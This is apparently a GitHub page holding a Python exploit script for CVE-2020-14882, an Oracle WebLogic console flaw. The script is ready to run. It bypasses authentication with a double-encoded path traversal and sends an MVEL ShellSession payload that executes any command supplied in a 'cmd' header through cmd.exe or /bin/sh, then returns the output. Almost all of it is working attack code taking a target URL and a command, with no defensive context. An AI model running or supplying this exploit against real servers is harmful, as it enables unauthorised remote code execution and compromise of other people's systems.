-
Notifications
You must be signed in to change notification settings - Fork 1.1k
/
Copy pathcve-2020-14882_rce.py
66 lines (59 loc) · 3.41 KB
/
cve-2020-14882_rce.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author: zhzyker
# from: https://github.com/zhzyker/vulmap
# from: https://github.com/zhzyker/exphub
import http.client
import requests
import sys
import argparse
http.client.HTTPConnection._http_vsn_str = 'HTTP/1.0'
payload_cve_2020_14882_v12 = ('_nfpb=true&_pageLabel=&handle='
'com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread = '
'(weblogic.work.ExecuteThread) Thread.currentThread(); weblogic.work.WorkAdapter adapter = '
'executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField'
'("connectionHandler"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet'
'.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) '
'obj.getClass().getMethod("getServletRequest").invoke(obj); String cmd = req.getHeader("cmd"); '
'String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]'
'{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd}; if (cmd != null) { String result '
'= new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter'
'("\\\\A").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.'
'ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);'
'res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));'
'res.getServletOutputStream().flush(); res.getWriter().write(""); }executeThread.interrupt(); ");')
def cve_2020_14882(url, cmd):
payload = payload_cve_2020_14882_v12
path = "/console/css/%252e%252e%252fconsole.portal"
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,'
'application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close',
'Content-Type': 'application/x-www-form-urlencoded',
'cmd': cmd
}
try:
request = requests.post(url + path, data=payload, headers=headers, timeout=10, verify=False)
print(request.text)
except Exception as error:
print("[-] Vuln Check Failed... ...")
print("[-] More Weblogic vulnerabilities in https://github.com/zhzyker/vulmap")
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Weblogic cve-2020-14882',
usage='use "python %(prog)s --help" for more information',
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument("-u", "--url",
dest="url",
help="target url (http://127.0.0.1:7001)"
)
parser.add_argument("-c", "--cmd",
dest="cmd",
help="command"
)
args = parser.parse_args()
if not args.url or not args.cmd:
sys.exit('[*] Please assign url and cmd! \n[*] Examples python cve-2020-14882_rce.py -u http://127.0.0.1:7001 -c whoami')
cve_2020_14882(args.url, args.cmd)